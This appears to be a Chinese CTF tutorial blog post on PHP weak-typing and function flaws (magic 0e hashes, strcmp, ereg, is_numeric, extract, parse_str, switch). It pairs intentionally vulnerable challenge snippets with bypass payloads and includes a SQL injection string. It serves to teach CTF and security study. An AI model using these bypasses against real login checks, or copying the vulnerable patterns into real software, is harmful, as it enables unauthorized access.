CTF-PHP黑魔法

About CTF

弱类型比较

php弱类型比较一直都是CTF中WEB题目的一大热门,通过一些存在漏洞的函数,或者是版本的缺陷,来考验参赛的选手门对于漏洞以及函数的理解和利用,本篇就介绍了关于这方面的知识。

php就是一门弱类型语言。弱类型就是不需要声明变量的类型,php会根据变量的值自动把变量转换为正确的数据类型。强类型的编辑语言在使用变量前必须声明变量的数据类型。

缺陷类型

哈希比较缺陷

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

0E开头的md5值对应的一些字符串:

源字符串 MD5值(32位)
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
s1502113478a 0e861580163291561247404381396064
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s155964671a 0e342768416822451524974117254469
s1184209335a 0e072485820392773389523109082030
s1665632922a 0e731198061491163073197128363787
s1502113478a 0e861580163291561247404381396064
s1836677006a 0e481036490867661113260034900752
s1091221200a 0e940624217856561557816327384675
s155964671a 0e342768416822451524974117254469
s1502113478a 0e861580163291561247404381396064
s155964671a 0e342768416822451524974117254469
s1665632922a 0e731198061491163073197128363787
s155964671a 0e342768416822451524974117254469
s1091221200a 0e940624217856561557816327384675
s1836677006a 0e481036490867661113260034900752
s1885207154a 0e509367213418206700842008763514
s532378020a 0e220463095855511507588041205815
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s214587387a 0e848240448830537924465865611904
s1502113478a 0e861580163291561247404381396064
s1091221200a 0e940624217856561557816327384675
s1665632922a 0e731198061491163073197128363787
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s1665632922a 0e731198061491163073197128363787
s878926199a 0e545993274517709034328855841020
源字符串 sha1
10932435112 0e07766915004133176347055865026311692244
aaroZmOk 0e66507019969427134894567494305185566735
aaK1STfY 0e76658526655756207688271159624026011393
aaO8zKZF 0e89257456677279068558073954252716165668
aa3OFF9m 0e36977786278517984959260394024281014729

顺带放上一个经典CTF题目:

<?php 
error_reporting(0); 
include_once('flag.php'); 
highlight_file('index.php');  

$md51 = md5('QNKCDZO'); 
$a = $_GET['b']; 
$md52 = md5($a); 
if(isset($a)){ 
if ($a != 'QNKCDZO' && $md51 == $md52) { 
    echo $flag; 
} else { 
    echo "false!!!"; 
}} 

md5 sha1函数缺陷

当md5()函数与sha1()函数对参数进行加密处理时,如果碰到一个数组,md5()函数会返回null,sha1()函数也是一样。利用这个特性构造两个数组即可。(PS:之前忘记了get或post传递数组如何传递了,特地在这里记录一下,a[]=1,这就是表示一个数组)

数字比较缺陷(类型强制转换)

  • php中有两种比较的符号==和===
    • ===在进行比较的时候会先判断两种字符串的类型是否相等,再比较。
    • == 在进行比较的时候,会先将字符串的类型转换为相同,再比较

例:

1 <?php
2 var_dump("admin"==0);  //true
3 var_dump("1admin"==1); //true
4 var_dump("admin1"==1) //false
5 var_dump("admin1"==0) //true
6 var_dump("0e123456"=="0e4456789"); //true 
7 ?>
1 == '1abc' // true
true == 'abcd'  // true 
"42" == "42.0" // true
"42" == "000042.00" // true
"42" == "0x000000002A" // true
"10" == "1e1" // true
"42" == "0000000004.2E+1" // true
"42" == "42.0e+000000" // true

[false] == [0] == [NULL] == ['']
NULL == false == 0
'0.999999999999999999999' == 1

# true in PHP 4.3.0+
'0e0' == '0e1'
'0e0' == '0E1'
'10e2' == ' 01e3'
'10e2' == '01e3'
'10e2' == '1e3'
'010e2' == '1e3'
'010e2' == '01e3'
'10' == '010'
'10.0' == '10'
'10' == '00000000010'
'12345678' == '00000000012345678'
'0010e2' == '1e3'
'123000' == '123e3'
'123000e2' == '123e5'

# true in 5.2.1+
# false in PHP 4.3.0 - 5.2.0
'608E-4234' == '272E-3063'

# true in PHP 4.3.0 - 5.6.x
# false in 7.0.0+
'0e0' == '0x0'
'0xABC' == '0xabc'
'0xABCdef' == '0xabcDEF'
'000000e1' == '0x000000'
'0xABFe1' == '0xABFE1'
'0xe' == '0Xe'
'0xABCDEF' == '11259375'
'0xABCDEF123' == '46118400291'
'0x1234AB' == '1193131'
'0x1234Ab' == '1193131'

# true in PHP 4.3.0 - 4.3.9, 5.2.1 - 5.6.x
# false in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.2.0, 7.0.0+
'0xABCdef' == ' 0xabcDEF'
'1e1' == '0xa'
'0xe' == ' 0Xe'
'0x123' == ' 0x123'

# true in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.2.0
# false in PHP 4.3.0 - 4.3.9, 5.0.0 - 5.0.2, 5.2.1 - 5.6.26, 7.0.0+
'0e0' == '0x0a'

# true in PHP 4.3.0 - 4.3.9, 5.0.0 - 5.0.2
# false in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.6.26, 7.0.0+
'0xe' == ' 0Xe.'

经典例题:

<?
$flag = "THIS IS FLAG"; 
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) 
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}
?>
payload: password=42.00e+0000000000

intval()缺陷

intval函数用于获取变量的整数值。通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

本来想写在php函数缺陷内的,但是这个函数,往往在进行比较时使用。

intval() 在转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval() 不会报错而是返回 0

例如:

var_dump(intval('2')) // 2
var_dump(intval('3abcd')) // 3
var_dump(intval('abcd')) // 0

var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true 
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true

if(intval($a) > 1000) {
    mysql_query("select * from news where id=".$a)
}

strcmp函数缺陷

这个函数也经常的被使用到,也是一个经典函数。
定义:

 int strcmp ( string $str1 , string $str2 )
    参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

漏洞:

在php5.3之前,当这个函数接受到了不符合的类型,这个函数将发生错误,显示了报错的警告信息后,将return 0。

经典题目:

<?php
$password="***************";
$a = array();
    if (strcmp($a, $password) == 0) {
        echo "Right!!!login success";
        exit();
    } else {
        echo "Wrong password..";
}
?>
结果输出 Right!!!login success。

ereg(),eregi()函数缺陷

  • ereg函数存在两个漏洞:
    • %00截断,在遇到%00的时候会认为字符串结束了
    • ereg函数中的参数值如果为数组,会返回false

eregi跟ereg函数漏洞基本一样,区别在于++ereg区分大小写++(这里划重点,也是可以用来绕过的),eregi函数不区分大小写。

经典题目:

<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)    
       {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
?>
附:payload= 1e9%00*-*

strlen()函数缺陷

这个函数也是CTF函数黑魔法中的经典函数,自我矛盾。用来进行判断长度,然后结合大小比较来进行出题。

但是可以通过科学计数法的方法来进行绕过。比如:

1e9

经典题目:

<?php
@$a = $_GET['num'];
if(strlen($a)<4 && $a>10000){
    echo $flag;
}
else{
    echo "is too small";
}
?>

preg_match(),preg_match_all()函数缺陷

先说preg_match()函数,是为了弥补ereg函数的%00截断问题,替换了ereg函数。但是,在CTF中踩了那么多坑以后,终于发现了制裁它的方法,构造数组,就可以了。
经典题目:

payload: id[]=1
<?php
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);    //有0-9的数字 和.在内的符号
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
    echo 'Flag';
}else{
    echo "no";
}// 最终输出了Flag
?>

preg_match()函数还存在另一个问题,preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题。
经典题目:

payload:ip=127.0.0.1 abcdasd
<?php
$ip = $_GET['ip']; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
  echo "Flag";
}
?>// Flag

preg_match_all()这个函数还没有单独的碰到过,碰到了再做总结吧。(我不是标题党)

is_numeric()函数缺陷&trim()函数缺陷

is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。

好,那么问题来了,对于16进制的字符串,是怎么判断的呢?

它会默认16进制的字符串为整形,这样就可以构造16进制的payload来进行函数绕过。
例题:

16进制的abc=0x616263
<?php
header('content-type:text/html;charset=utf-8');
$a=$_GET['num'];
var_dump($a);
if(is_numeric($a)){
    echo "您输入的是数字";
}else{
    echo "请输入合法字符";
}
?>
<?php
echo is_numeric(233333);       // 1
echo is_numeric('233333');    // 1
echo is_numeric(0x233333);    // 1
echo is_numeric('0x233333');    // 1
echo is_numeric('9e9');   // 1
echo is_numeric('233333abc');  // 0
?>

is_numeric 检测的时候会自动过滤掉前面的 ‘ ‘, ‘\t’, ‘\n’, ‘\r’, ‘\v’, ‘\f’ 等字符,但是不会过滤 ‘\0’,如果这些字符出现在字符串尾,也不会过滤,而是返回 false

trim 函数会过滤空格以及 \n\r\t\v\0,但不会过滤过滤\f

$a = "  \n\r\t\v\0abc  \f";
var_dump(trim($a)); // abc  \f

利用trim函数以及is_numeric函数实现绕过:

<?php
    // %0c1%00
    $number = "\f1\0";
    // trim 函数会过滤 \n\r\t\v\0,但不会过滤过滤\f
    $number_2 = trim($number);
    var_dump($number_2); // \f1
    $number_2 = addslashes($number_2);
    var_dump($number_2);  // \f1
    // is_numeric 检测的时候会过滤掉 '', '\t', '\n', '\r', '\v', '\f' 等字符
    // 但是不会过滤 '\0'
    var_dump(is_numeric($number)); // false
    var_dump(strval(intval($number_2))); // 1
    var_dump("\f1" == "1"); // true
?>

in_array()函数缺陷

in_array()函数用来判断字符串是否存在与数组中,但是在判断的时候,会进行类型强制转换,就会出现数字比较的情况。
经典例题:

<?php
$array=[0,1,2,'3'];  
var_dump(in_array('abc', $array)); // true
var_dump(in_array('1bc', $array)); // true
?>

那这种情况,在SQL注入时,就可以产生很大的作用,比如:

payload: a = 1' or 1=1--+
<?php
@$a = $_GET['a'];
$arr = [1,2,3,4];
if(in_array($a,$arr)){
    echo "success!";// 输出success
}
?>

strpos()函数缺陷

strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
经典题目:

<?php
if(strpos($_GET['a'],'abc') == 0 ){
    echo '123';
}
else{
    echo '456';
}
?>

传入abc或会打印123,但是传入一个数组或者不传入数据一样也会打印123。这个函数也是只解析string类型的字符串,给他个数组就不知道如何解析,于是就返回为null。Null==0!当不传入数据的时候,也是一样的道理,还是返回null。

变量覆盖

extract()函数

用法:

extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
这个函数的重点就是默认将已经有的变量给覆盖掉

其实很简单,就是变量覆盖,给个例题一看就知道了:

<?php
  $auth = 'yaun';  
    extract($_GET); 
    if($auth == 1){  
        echo "private!";  
    } else{  
        echo "public!";  
    }  
?>
参数:auth=1

这样,输出privatel了。
经典题目:

<?php

   $flag = ‘xxx’;

   extract($_GET);

   if (isset($gift)) 
  {
       $content = trim(file_get_contents($flag));

       if ($gift == $content) 
      {
            echo ‘hctf{…}’;

      } 
       else 
      {
           echo ‘Oh..’;
      }

   } 
?>
parse_str()函数导致变量覆盖

parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。 极度不建议 在没有 array参数的情况下使用此函数,并且在 PHP 7.2 中将废弃不设置参数的行为。此函数没有返回值。

<?php
if(empty($_GET['id'])){
    show_source(__FILE__);
    die();
}else{
    include('flag.php');
    $a = "http://blog.51cto.com/12332766";
    $id = $_GET['id'];
    @parse_str($id);
    if($a[0] == 'yaun'){
        echo "yes is flag";
    }else{
        exit('其实很简单,其实并不难');
    }
}
?>
payload:id=a[]=yaun

当传递参数id=a[]=yaun的时候,经过parse_str()函数的处理将a变成变量。但是原来有同名的变量,于是就将原来的变量覆盖掉,同时覆盖的还有变量的值

$$变量覆盖

直接上代码看:

<?php
$a = 1;
$b = 2;
$c = 'a';
$$c = $b;    //   $a = $b
var_dump($a);   //   输出2
?>

CTF经典题目:

<?php
   include “flag.php”;

   $_403 = “Access Denied”;

   $_200 = “Welcome Admin”;

   if ($_SERVER["REQUEST_METHOD"] != “POST”)
   {
         die(“BugsBunnyCTF is here :p…”);
   }
   if ( !isset($_POST["flag"]) )
   {
         die($_403);
   }
   foreach ($_GET as $key => $value)
   {
         $$key = $$value;
   }
   foreach ($_POST as $key => $value)
   {
         $$key = $value;
   }
   if ( $_POST["flag"] !== $flag )
   {
         die($_403);
   }
   echo “This is your flag : “. $flag . “\n”;
   die($_200);
?>
Get方法传输:_200=flag
Post方法传输:flag=abcde

json_decode()函数

先介绍下json字符串吧,json就是一种数据交换格式,在 JS 语言中,一切都是对象。因此,任何支持的类型都可以通过 JSON 来表示,例如字符串、数字、对象、数组等。但是对象和数组是比较特殊且常用的两种类型:

对象表示为键值对
数据由逗号分隔
花括号保存对象
方括号保存数组

经典例题:

<?php
if (isset($_POST['message'])) {
    $message = json_decode($_POST['message']);
    $key ="*********";
    if ($message->key == $key) {
        echo "flag";
    } 
    else {
        echo "fail";
    }
 }
 else{
     echo "~~~~";
 }
?>

payload: message={"key":0}

这个payload利用的还是php字符比较的漏洞,0==’admin’

switch()函数漏洞

switch函数是php中的条件分支语句,通过对switch中的参数值进行判断,选择case中的代码去执行,但是会将switch中的参数转换为int类型,那么问题就来了,在进行类型转换的时候,’1admin’==’1’的。
经典题目:

<?php
$i ="2abc";  
switch ($i) {  
case 0:  
case 1:  
case 2:  
echo "i is less than 3 but not negative";  
break;  
case 3:  
echo "i is 3";  
} 
// 输出了 i is less than 3 but not negative
?>

switch还有一个特别骚的坑,直接上代码去看:

<?php
$a=0;
 switch($a){
    case $a>=0: echo 0;break;
    case $a>=10:echo 1;break; // 输出1
    default: echo 2;break;    
 }
?>

这个代码,骚在哪里?

第一个分支判断语句,并不会成立,因为case的条件是 0>=0 ,也就是 true ,但是参数$a为0,两者并不相等,但是第二个分支语句的case条件为 0>=10 ,也就是false,参数$a的值为0,’0’==’false’,所以case $a>=10成立。

小结

从上面的一些案例去看,很多函数问题都是基于php是一个弱类型的语言,在进行类型转换的时候出现的问题。所以类型,是php黑魔法当中比较重要的一个环节。

本来是打算把php弱类型比较跟php函数缺陷写在一起的,然后写的时候发现,想的太简单了,一总结,一大堆,简直就是越写越多。写一点,想起来一点,再写一点,又想起来一点,简直是头大。搞了三天有余,终于加班加点完工……(PS:反序列化我会当成单独的一篇去写,莫着急)。


鸣谢:

php函数漏洞

CTF中的php指示汇总

php弱类型漏洞

浅谈PHP弱类型安全


Reprint please specify: wh1te CTF-PHP黑魔法

Previous
CTF-某次公安内网比赛 CTF-某次公安内网比赛
About CTF&wp CTF比赛纪实其实就是某次公安内网比赛的代打记录,由于题目实在是太骚了,所以就做个记录。仿射密码题目: 仿射密码: ugxjnhisjrzwvrkizgptpj b=23 不多bb了,直接上解题网址:
2018-12-25
Next
WEB-00截断与%00截断 WEB-00截断与%00截断
About WEB Security 00截断与%00截断在文件上传的时候,经常会遇到对上传文件的后缀名做限制的,有时候用00截断,有时候用%00截断,一直比较懵逼,就在这里做下解释。 %00截断%00的使用是在路径上! %00的使用是
2018-11-21
TOC